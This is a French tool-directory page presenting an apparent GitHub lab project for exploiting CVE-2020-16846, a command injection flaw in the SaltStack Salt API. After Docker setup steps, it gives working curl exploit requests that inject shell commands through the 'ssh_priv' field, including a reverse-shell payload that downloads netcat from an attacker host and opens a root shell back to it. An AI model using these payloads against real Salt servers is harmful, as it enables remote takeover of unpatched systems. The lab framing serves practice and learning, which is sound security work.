Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-16846-Saltstack-Salt-API — Environnement de laboratoire basé sur Docker pour exploiter CVE-2020-16846, une vulnérabilité d'injection de commandes dans l'API Salt de SaltStack, avec des instructions d'exploitation étape par étape et des exemples de payload reverse shell. | Kitploit
Outils/GitHubGitHub/zomy22/cve-2020-16846-saltstack-salt-api
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubzomy22/cve-2020-16846-saltstack-salt-api

CVE-2020-16846-Saltstack-Salt-API

Environnement de laboratoire basé sur Docker pour exploiter CVE-2020-16846, une vulnérabilité d'injection de commandes dans l'API Salt de SaltStack, avec des instructions d'exploitation étape par étape et des exemples de payload reverse shell.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 4 ansPas encore vérifié

CVE-2020-16846-Saltstack-Salt-API

Explication de la vulnérabilité : Un problème a été découvert dans SaltStack Salt jusqu'à la version 3002. L'envoi de requêtes web malveillantes à l'API Salt, avec le client SSH activé, peut entraîner une injection de shell. Les détails de cette vulnérabilité se trouvent ici :

https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities

À des fins de pratique et d'apprentissage, j'ai décidé de créer une instance vulnérable et de l'exploiter.

Version vulnérable : https://github.com/saltstack/salt/releases/tag/v3002

Testé sur Ubuntu 20.04.03

Instructions

Utilisez le Dockerfile pour créer une instance vulnérable dans Docker.

Exécutez salt_setup.sh si vous souhaitez créer une instance vulnérable sur une VM Ubuntu.

Construire l'image

docker build -t salt-image .

Exécuter le conteneur et exposer les ports (seul le 8080 est réellement nécessaire pour pouvoir l'exploiter)

docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

api

Exploitation

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

reverse_shell

Shell inversé

root@kitploit:~
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f  #"}'

pwned

Télécharger l’outil